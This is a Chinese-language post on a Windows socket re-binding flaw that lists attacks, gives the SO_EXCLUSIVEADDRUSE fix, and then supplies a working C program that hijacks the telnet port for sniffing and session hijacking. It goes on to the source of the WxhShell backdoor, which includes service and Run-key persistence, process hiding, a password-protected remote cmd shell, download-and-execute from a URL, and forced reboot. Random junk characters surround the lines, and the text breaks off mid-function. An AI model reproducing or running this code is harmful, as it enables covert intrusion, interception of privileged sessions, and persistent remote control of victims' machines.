在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Cm;qDvj+u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G+X[R^RD d74g|`/ saddr.sin_family = AF_INET;
!GGGh0Bj TWR$D saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t<k[W'# }`N2ZxC0AQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"SU-^z B%J%TR_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5J+V:Xu{ }j(2Dl 这意味着什么?意味着可以进行如下的攻击:
?5v5:U(A {I-a;XBX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k
gu[!hD1 nlebFDb7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(5q%0|RzRs M1^C8cz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
soq".+Q qm}>J^hnB# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l \^nC2 <VaMUm<2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%|(?!w7 C9F+e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IbJ[Og^Qyu 5nx<,-N*BP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Az< 9hk f3TlJ!!U #include
K>cz63}S #include
R,+/A8[j #include
YZH#5]o8 #include
|^PLZ> DWORD WINAPI ClientThread(LPVOID lpParam);
MFH"$t+ int main()
[+l {
0)oN[ WORD wVersionRequested;
k<Tez{< DWORD ret;
TwuX-b WSADATA wsaData;
F%#*U82 BOOL val;
!-5S8b SOCKADDR_IN saddr;
^5^}MB% SOCKADDR_IN scaddr;
_rMT{q3 int err;
5':Gu}Vq SOCKET s;
nSxb-Ce SOCKET sc;
hyOm9WU int caddsize;
.i+* #djx HANDLE mt;
;sChxQ=.^ DWORD tid;
SCurO9RN wVersionRequested = MAKEWORD( 2, 2 );
WR
a+zii, err = WSAStartup( wVersionRequested, &wsaData );
Itr7lv'5xx if ( err != 0 ) {
e*P=2*]M printf("error!WSAStartup failed!\n");
E./__Mz@ return -1;
Sc/`=h]T }
P*SCHe' saddr.sin_family = AF_INET;
(H8C\%g: >nhE%:X> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<4Q1 2: !b7'>b'J<1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
k%l_N)38 saddr.sin_port = htons(23);
=F'M~3M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Be{/2jU% {
98A(jsj printf("error!socket failed!\n");
Dr6s^}}~n return -1;
fQQsb 5=i }
W{A
#]r l val = TRUE;
w<Yv`$-` //SO_REUSEADDR选项就是可以实现端口重绑定的
W`N} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>:jM}*dnL {
-MrtliepW* printf("error!setsockopt failed!\n");
Eq=wdI return -1;
7 DY WdDX }
/bmXDDYH4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
feI./E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|"R_-U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
';b3Mm
# Z cm<Fw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\L ] {
pgLtD};S ret=GetLastError();
Har~MO?A printf("error!bind failed!\n");
D1X4|Q*SK return -1;
KZF0rW }
=naR{pI listen(s,2);
VT%
KN`l while(1)
gMs+?SNHAh {
'%SR. JL caddsize = sizeof(scaddr);
CGC-"A/W //接受连接请求
pcy<2UV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4mN].X[, if(sc!=INVALID_SOCKET)
X*!Dc,0.k {
=`Po<7D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i iX\it$s if(mt==NULL)
%kh#{*q$ {
Q(510) printf("Thread Creat Failed!\n");
BTTLy^ break;
u^Nxvx3l0 }
<vB<` }
q^a|wTC CloseHandle(mt);
D<U
9m3 }
b mOqeUgB closesocket(s);
OXHvT/L` WSACleanup();
+VCo$o return 0;
r{\BbUnf) }
uf)W-Er6~ DWORD WINAPI ClientThread(LPVOID lpParam)
y=AsgJ {
NunV8atn: SOCKET ss = (SOCKET)lpParam;
:n'yQ#[rn SOCKET sc;
0#oBXu unsigned char buf[4096];
"l@A[@R SOCKADDR_IN saddr;
qoj^_s6 long num;
bMN@H\Ek DWORD val;
D|d4:;7 DWORD ret;
7\A4vUI3 //如果是隐藏端口应用的话,可以在此处加一些判断
mC i[Ps //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.u1X+P7 saddr.sin_family = AF_INET;
]~-*hOcQ4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x\hWyY6J[ saddr.sin_port = htons(23);
mZ~ qG5@/F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}I]j&\ {
n/QfdAg printf("error!socket failed!\n");
7J9l.cM3 return -1;
Hm %g_Mt }
DY9fF4[9a val = 100;
|3}5:k if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2fl4h<V {
&E
bI Op ret = GetLastError();
;%' b;+ return -1;
AZwl fdLB }
@}<"N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XZS5B~E
' {
8|O=/m ^] ret = GetLastError();
N&T:Lt_N return -1;
43zUN }
+TC1nkX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CqqXVF3 {
LA-_3UJx printf("error!socket connect failed!\n");
B?LXI3sQZ closesocket(sc);
25:Z;J> closesocket(ss);
x#VyQ[ok return -1;
0$6*o}N% }
*5'.!g(' while(1)
[oV{83f {
CRFCqmevR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v"Me {+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
6*IpAIh //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\PpXL*. num = recv(ss,buf,4096,0);
7K&}C;+ if(num>0)
OL3UgepF send(sc,buf,num,0);
E\0X`QeY else if(num==0)
}g`Gh|C break;
8L%M<JRg~ num = recv(sc,buf,4096,0);
-hWC_X:9jP if(num>0)
Y\xUT>(J7 send(ss,buf,num,0);
x?"#gK`3; else if(num==0)
nnNv0?>d( break;
V!4a*,Pz }
oid[syPB closesocket(ss);
rK7W(D} closesocket(sc);
$I@GUtzjp return 0 ;
,CciTXf }
z}ElpT[(; 0DNU,u #^6^ ==========================================================
9R
p2W )MZC>: 下边附上一个代码,,WXhSHELL
yGTziv! y4@gGC= ==========================================================
Yi(1^'Bi d?A}qA[( #include "stdafx.h"
-v+&pG?m B5ea(j #include <stdio.h>
fW?sYC' #include <string.h>
~,"N[Q #include <windows.h>
B8T\s)fxnX #include <winsock2.h>
?}}qu'N:N #include <winsvc.h>
$&hN*7Ts #include <urlmon.h>
p3c"ZPO~z 8d!GZgC8R #pragma comment (lib, "Ws2_32.lib")
Qzqc .T #pragma comment (lib, "urlmon.lib")
a+`D'?z BkawL, #define MAX_USER 100 // 最大客户端连接数
3JO]f5 #define BUF_SOCK 200 // sock buffer
}aF #define KEY_BUFF 255 // 输入 buffer
jk*tL8?i wv?RO*E #define REBOOT 0 // 重启
BcQEG *N #define SHUTDOWN 1 // 关机
E{4 e<%Y, i?>tgmu. #define DEF_PORT 5000 // 监听端口
0:"2MSf> mdW~~-@H #define REG_LEN 16 // 注册表键长度
VWx]1\ #define SVC_LEN 80 // NT服务名长度
%MZP)k,&U IA4N@ijRxh // 从dll定义API
.2W"w)$nuq typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1l5JP|x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d "E^SBO& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0*8TS7.3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C!+I>J{4f qmglb:" // wxhshell配置信息
xCXQ<77 struct WSCFG {
Ooc\1lX int ws_port; // 监听端口
tIc 7:th char ws_passstr[REG_LEN]; // 口令
PT'MNH int ws_autoins; // 安装标记, 1=yes 0=no
m^V5*JIh char ws_regname[REG_LEN]; // 注册表键名
_V2xA88 char ws_svcname[REG_LEN]; // 服务名
|A\a4f'G char ws_svcdisp[SVC_LEN]; // 服务显示名
"?3` char ws_svcdesc[SVC_LEN]; // 服务描述信息
#Ex p51 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;),"M{"v int ws_downexe; // 下载执行标记, 1=yes 0=no
Es!Q8. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kGHQ`h char ws_filenam[SVC_LEN]; // 下载后保存的文件名
jq-l5})h eF~dQ4RZ };
xwi\ +l E90y // default Wxhshell configuration
*$,:m struct WSCFG wscfg={DEF_PORT,
m&*JMA;^ "xuhuanlingzhe",
d%_OT0Ei 1,
I|9
SiZ0 "Wxhshell",
~g6 3qs "Wxhshell",
g^7MMlY% "WxhShell Service",
",yc0 2< "Wrsky Windows CmdShell Service",
`JB?c "Please Input Your Password: ",
q_V0+qH 1,
PLX>-7@ "
http://www.wrsky.com/wxhshell.exe",
=-"c*^$] "Wxhshell.exe"
NX[4PKJ0C };
v+G=E2Lhv -F@L}| // 消息定义模块
aC%&U4OS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E{E0Z9t7& char *msg_ws_prompt="\n\r? for help\n\r#>";
t)f-mQz) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S<`I
Jpkv char *msg_ws_ext="\n\rExit.";
e}hmS 1>H char *msg_ws_end="\n\rQuit.";
'n;OB4 char *msg_ws_boot="\n\rReboot...";
mh.+."<)F char *msg_ws_poff="\n\rShutdown...";
Ts.wh>` char *msg_ws_down="\n\rSave to ";
8|6
4R: $q$7^r@ char *msg_ws_err="\n\rErr!";
x79Ha, char *msg_ws_ok="\n\rOK!";
CyDV r <\ `$Jx# char ExeFile[MAX_PATH];
GZip\S4Y int nUser = 0;
424(3-/v; HANDLE handles[MAX_USER];
/,@p\Ae5 int OsIsNt;
piy`zc-yu bN$r k| SERVICE_STATUS serviceStatus;
h[o6-f<D SERVICE_STATUS_HANDLE hServiceStatusHandle;
#bX9Tu0 99xEm // 函数声明
-fS.9+k0/ int Install(void);
EV pi^>M int Uninstall(void);
zK|i='XSf int DownloadFile(char *sURL, SOCKET wsh);
PjKECN int Boot(int flag);
^r6!l. void HideProc(void);
[F!Y%Zp
int GetOsVer(void);
w[tmCn+ int Wxhshell(SOCKET wsl);
}e2VY
void TalkWithClient(void *cs);
vS\Nd1~ ? int CmdShell(SOCKET sock);
]hos+;4p int StartFromService(void);
+{<#(} int StartWxhshell(LPSTR lpCmdLine);
^ D%FX!$ ziPR>iz- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
YNwp/Y VOID WINAPI NTServiceHandler( DWORD fdwControl );
km~Ll br-]fE.be // 数据结构和表定义
AN!s{7V3 SERVICE_TABLE_ENTRY DispatchTable[] =
:cB=SYcC% {
oVFnlA {wscfg.ws_svcname, NTServiceMain},
;oZ)Wt {NULL, NULL}
%D$]VSP; };
0:w"M<80 eET&pP3Rp // 自我安装
vM:cWat int Install(void)
a=cvCf {
Ar*^;/ char svExeFile[MAX_PATH];
jTO),
v:w HKEY key;
b 5yW_Ozdh strcpy(svExeFile,ExeFile);
;OqB5qd CI353-` // 如果是win9x系统,修改注册表设为自启动
MZ+^-@X if(!OsIsNt) {
ls@i".[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*Kdda}
J+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p
sL?Y RegCloseKey(key);
#(An6itl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IxLhU45 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q9Y9w( RegCloseKey(key);
.7K7h^*F return 0;
`]Q:-h }
V"c
6Kdtd }
=[b)1FUp }
RuII!}* else {
/1Ue?)g X 1
57$ // 如果是NT以上系统,安装为系统服务
okbQ<{9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DC{>TC[p1k if (schSCManager!=0)
,) J~ ,^f6 {
}gJ (DbnV SC_HANDLE schService = CreateService
93Co}@Y;Y+ (
3EJt%}V$k schSCManager,
pe^u$YE wscfg.ws_svcname,
ns6(cJ^a wscfg.ws_svcdisp,
xJ#d1[kzo SERVICE_ALL_ACCESS,
!1e6Ss SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
dFKM
8_jH SERVICE_AUTO_START,
^0/j0]O SERVICE_ERROR_NORMAL,
|*}4 m'c svExeFile,
15o9 . NULL,
0PlO(",a NULL,
w!fE;H8w6 NULL,
/!c${W!sY NULL,
j4qJ.i NULL
%Dwk );
w.[ "p9tc if (schService!=0)
YW7b)uYf {
>0"+4<72 CloseServiceHandle(schService);
^]TVo\,N CloseServiceHandle(schSCManager);
/`mks1:pK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<J^MCqp!v strcat(svExeFile,wscfg.ws_svcname);
%i5M77#Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\otWd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8ji_#og RegCloseKey(key);
gLOEh6 return 0;
30SW\@ }
Ytl4kaYS }
9I4K}R CloseServiceHandle(schSCManager);
rk #sy$ }
BocSwf;v. }
V#iPj'*
V,%=AR5 return 1;
S:OO0<W }
xL\0B,] r,h%[JKM // 自我卸载
>r !|sC int Uninstall(void)
RJd(~1 {
Ymg|4%O@ HKEY key;
C#Na&m NuQdSj_> if(!OsIsNt) {
Le\?+h42> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PpAu!2lt9 RegDeleteValue(key,wscfg.ws_regname);
"vOwd.(?N RegCloseKey(key);
LU={")TdQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-4
SY=NC_ RegDeleteValue(key,wscfg.ws_regname);
@0/+_2MH- RegCloseKey(key);
PK `D8)=u return 0;
YB2VcF.LU }
JsODzw }
^zQ/mo,Z }
8|\8O@ else {
a6uJYhS~ |>dI/_' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=w{Z@S(ukz if (schSCManager!=0)
?`PvL!' {
lE4HM$p
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_sTROd)Vh if (schService!=0)
)8$=C#qC[ {
^G}47( if(DeleteService(schService)!=0) {
tM'P m CloseServiceHandle(schService);
=Jyu4j *} CloseServiceHandle(schSCManager);
iMDM1}b return 0;
~kEI4}O }
}khV'6"'| CloseServiceHandle(schService);
~v|>xqWV }
2*^j CloseServiceHandle(schSCManager);
xD~5UER }
DK:o]~n }
q1d}{DU [J?aD`{#O return 1;
F^];U+J }
<+?7H\b Z/Dx,zIR // 从指定url下载文件
;'#8tGv= int DownloadFile(char *sURL, SOCKET wsh)
woGAf)vV# {
0"28' HRESULT hr;
9
a!$z!. char seps[]= "/";
x"~8*V'0 char *token;
qKr8)}h char *file;
o <pf#tifv char myURL[MAX_PATH];
m8d!<
h char myFILE[MAX_PATH];
Bf ~vA4 hG12ZZ D strcpy(myURL,sURL);
EVsC >rz token=strtok(myURL,seps);
PgF*
1 while(token!=NULL)
Lh!J > {
YUtC.TR1 file=token;
RC7]'4o token=strtok(NULL,seps);
4NheWM6 }
svcK?^
HTe 5YeM%%-S GetCurrentDirectory(MAX_PATH,myFILE);
I
8`VNA&b strcat(myFILE, "\\");
3z{?_;bR strcat(myFILE, file);
1W^taJH] send(wsh,myFILE,strlen(myFILE),0);
Krqtf send(wsh,"...",3,0);
.6+Z^,3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=5~jx if(hr==S_OK)
FQ<Ju. return 0;
:VRNs else
4.[^\N return 1;
,St#Vla qNB<T(' }
7:plQ!7^ oAODp!_c // 系统电源模块
#S!)JM|4wk int Boot(int flag)
'7hu 2i5 {
n|9-KTe7|* HANDLE hToken;
:LF? TOKEN_PRIVILEGES tkp;
5\:^y'g[ -*X a3/kQ if(OsIsNt) {
*x@Onj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.WA-&b_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
CQF:Rnb tkp.PrivilegeCount = 1;
5Ha9lM2gh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5q3JI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gmw|H?] if(flag==REBOOT) {
cQCSe,$ W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tkeoNuAM return 0;
ZxGJzakB5$ }
Yvw(tj5_5 else {
ayR-\mZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&^ 1$^= return 0;
+"
.X
)avF }
!Xf5e*1IS }
`u3EU*~W else {
BC&S> #\ if(flag==REBOOT) {
N{9v1`B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Gp?a(-K5 return 0;
UZ\u;/} }
qeV fE_< else {
kCWV r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
YxYH2*q@ return 0;
>JHryS.j$4 }
j4gF;-m< }
N.,X<G.H `i3NG1
v0 return 1;
q9KHmhUD }
fInb[ 0L2 F[TN // win9x进程隐藏模块
DR5\45v void HideProc(void)
36}?dRw#p {
ak$f"py
x X`kk]8= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
lA|
5E? if ( hKernel != NULL )
oK6tTK {
?GKb7Oj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>)fi^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
KKja/p FreeLibrary(hKernel);
SoW9p^HJ }
[M]
=upeRY@u5 return;
u^@f&BIG]: }
}eCw6 H%qsjB^ // 获取操作系统版本
'\l" int GetOsVer(void)
"jeb%k {
j/323Za+ OSVERSIONINFO winfo;
`uv2H$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W#9BNKL GetVersionEx(&winfo);
u_w#gjiC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2Q/x@aT,h return 1;
B3pCy~*5 else
o |{5M|nD return 0;
\tf<B\oa }
!`Fxa4i> >K_(J/&p // 客户端句柄模块
[_R~%Yh+'E int Wxhshell(SOCKET wsl)
,k +IPkN+ {
CpUkCgg SOCKET wsh;
[\^n= struct sockaddr_in client;
h]IxXP?h[ DWORD myID;
lHN5Dr sXLq*b? while(nUser<MAX_USER)
^bGNq
X {
LM:vsG int nSize=sizeof(client);
BRw .]&/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
y`<*U;xL if(wsh==INVALID_SOCKET) return 1;
.5^cb%B* ^n*)7K[
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f%is~e~wc if(handles[nUser]==0)
-^&<Z
0m closesocket(wsh);
Zi *2nv' else
kvL=>
A nUser++;
!j9t*2m[ }
epA:v|S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
l5S aT,% )Kc<j!8-[ return 0;
$SlIr<'*" }
%f&/E"M K0u|U` // 关闭 socket
tURu0`]( void CloseIt(SOCKET wsh)
5bRJS70M {
m~iXl,r closesocket(wsh);
8zZvht* nUser--;
3@etRd;]Kr ExitThread(0);
\\iQEy<i }
&PR5q7 rN<0
R`4sE // 客户端请求句柄
R3
-n>V5o void TalkWithClient(void *cs)
lUOF4U&r {
[T8WThs }~YA5^VQ$ SOCKET wsh=(SOCKET)cs;
N H[kNi' char pwd[SVC_LEN];
lEH65;Nh* char cmd[KEY_BUFF];
_F6OM5F"N char chr[1];
:i0uPh\0 int i,j;
$njUXSQ; !y\'EW3|G while (nUser < MAX_USER) {
XQY#716) 8r*E-akuyr if(wscfg.ws_passstr) {
cXA
i k- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Eq% } //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\{Y 7FC~ //ZeroMemory(pwd,KEY_BUFF);
;"a=gr i=0;
AFq~QXmr) while(i<SVC_LEN) {
M1k{t%M+S U\g/ 2dM // 设置超时
y*4=c_Z fd_set FdRead;
:vmH]{R struct timeval TimeOut;
;;!yC FD_ZERO(&FdRead);
NxkGOAOE FD_SET(wsh,&FdRead);
..IfP@ TimeOut.tv_sec=8;
VpE*(i$ TimeOut.tv_usec=0;
~8PZ5;g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u}#(.)a: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1vS#K=sb Ow+GS{-q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
] ]u
s % pwd
=chr[0]; 1auIR/=-
if(chr[0]==0xd || chr[0]==0xa) { iW)8j 8
pwd=0; n4O]8C'lW9
break; y%&q/tk
} S8kCp;
i++; bHY=x}Hv
} }fp-pe69z
(o 5s"b
// 如果是非法用户,关闭 socket EuEZ D+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =rMUov h
} i[O& )N,c
`fA@hK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^7w+l @
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `{f}3bO7C
zG }@0
while(1) { /fKx}}g)
5[8xV%>;
ZeroMemory(cmd,KEY_BUFF); Lz
|?ek7Q
1XrO~W\=
// 自动支持客户端 telnet标准 &yct!YOB2
j=0; _?-E7:Sw
while(j<KEY_BUFF) { j@AIK+0Qc
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5GI,o|[s6
cmd[j]=chr[0]; D@,6M#SK
if(chr[0]==0xa || chr[0]==0xd) { >
$O]Eu!
cmd[j]=0; Z-$[\le
break; TYy?KG>:'
} eVEV}`X
j++; 4n#M
} .8 2P(}h
XD!W: uvb
// 下载文件 l3{-z4mw
if(strstr(cmd,"http://")) { ?U%qPv:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >1.X*gi?-
if(DownloadFile(cmd,wsh)) dph{74Dc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '3R`lv
else $By<$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8^kGS-+^
} /}((l%U E.
else { IY_iB*T3jt
]P9l jwR
switch(cmd[0]) { B |5]Jm]
kGH }[w
// 帮助 s%vis{2
case '?': { /Y/UM3/
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u]g%@3Pn
break; 5 )A1\
} *1ilkmL%
// 安装 >,v`EIg
case 'i': { eln)BW#
if(Install()) HSw;^E)1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2% MC Yn
else FVMD>=k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /{EP*,/*
break; E`kG-Q5Dw
} '@a}H9>}
// 卸载 aEBu *`-j
case 'r': { DMAIM|h
if(Uninstall()) T"(&b~m2b4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _no/F2>!/n
else hnffz95
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +xRK5+}9
break; L\37xJo
} -m\u
// 显示 wxhshell 所在路径 Wt*cIZ
case 'p': { u^^vB\"^
char svExeFile[MAX_PATH];
kq?Ms|h
strcpy(svExeFile,"\n\r"); nxO"ua
strcat(svExeFile,ExeFile); ^NLmgwQ
send(wsh,svExeFile,strlen(svExeFile),0); 9d>-MX'
break; n|6Ic,:[
} aR[JD2G
// 重启 uY{|szC^2
case 'b': { PoHg,n]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :>rkG?NfL
if(Boot(REBOOT)) $1SPy|y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zU,9T
else { 3Lfqdqj
closesocket(wsh); 0^v`T%|fTX
ExitThread(0); l.(v^3:X
} w{{gu1#]G
break; |+{)_?
} ?'IP4z;y
// 关机 C/_ZUF(V
case 'd': { @hl.lq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jxP;>K7O
if(Boot(SHUTDOWN)) $ux,9H'[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +*\u :n
else { Cw~q4A6'
closesocket(wsh); Vo4,@scG
ExitThread(0); j SHk{T!J
} ^Xz@`_I
break; ?#Ge.D~u
} x" 7H5<
// 获取shell |a8iZ9/D6
case 's': { ;Y)w@bNt@
CmdShell(wsh); bAdn &
closesocket(wsh); ov|d^)'
ExitThread(0); {5A2&
break; J.3u^~zy
} LmRy1T,act
// 退出 Dxtp2wu%t
case 'x': { S};#+ufgTt
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SbcS]H5Sk
CloseIt(wsh); Ih@61>X.o*
break; !d'GE`w T
} D,FHZDt
// 离开 [.K1iZyTi
case 'q': { X
enE^e+9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); u]:oZMnj
closesocket(wsh); a a<8,;
WSACleanup(); 0`Kj25
exit(1); )z>|4@,
break; Qo>b*Ku;
} @<,X0S
} x-XD.qh7Hr
} $5>e
},uF4M.K
// 提示信息 +20G>y=+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
#+JG(^%B
} 4d"r^y'
} 1v#%Ei$6`t
7 G)ZN{'
return; 65L6:}#
} }#3V+X
B)$| vK=
// shell模块句柄 S&e0u%8mc
int CmdShell(SOCKET sock) I) rCd/
{ uMUBh 80,L
STARTUPINFO si; 9X[kEl
ZeroMemory(&si,sizeof(si)); u\a#{G;Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r+' qd)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w!#tTyk`
PROCESS_INFORMATION ProcessInfo; r=Gks=NX"
char cmdline[]="cmd"; oL-]3TY~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y=%tn8<
return 0; MvuQz7M#d
} % BVs47g
ysJQb~2q
// 自身启动模式
z__EYh
int StartFromService(void) 4Xgg%@C
{ >1s*
at/h
typedef struct
>/{@C
{ 9K.Vb1&
DWORD ExitStatus; 1Vsz4P"O $
DWORD PebBaseAddress; A_V]yP
DWORD AffinityMask; H[m:0eF'5
DWORD BasePriority; 2uzW+D6J
ULONG UniqueProcessId; j~"Q3P;V
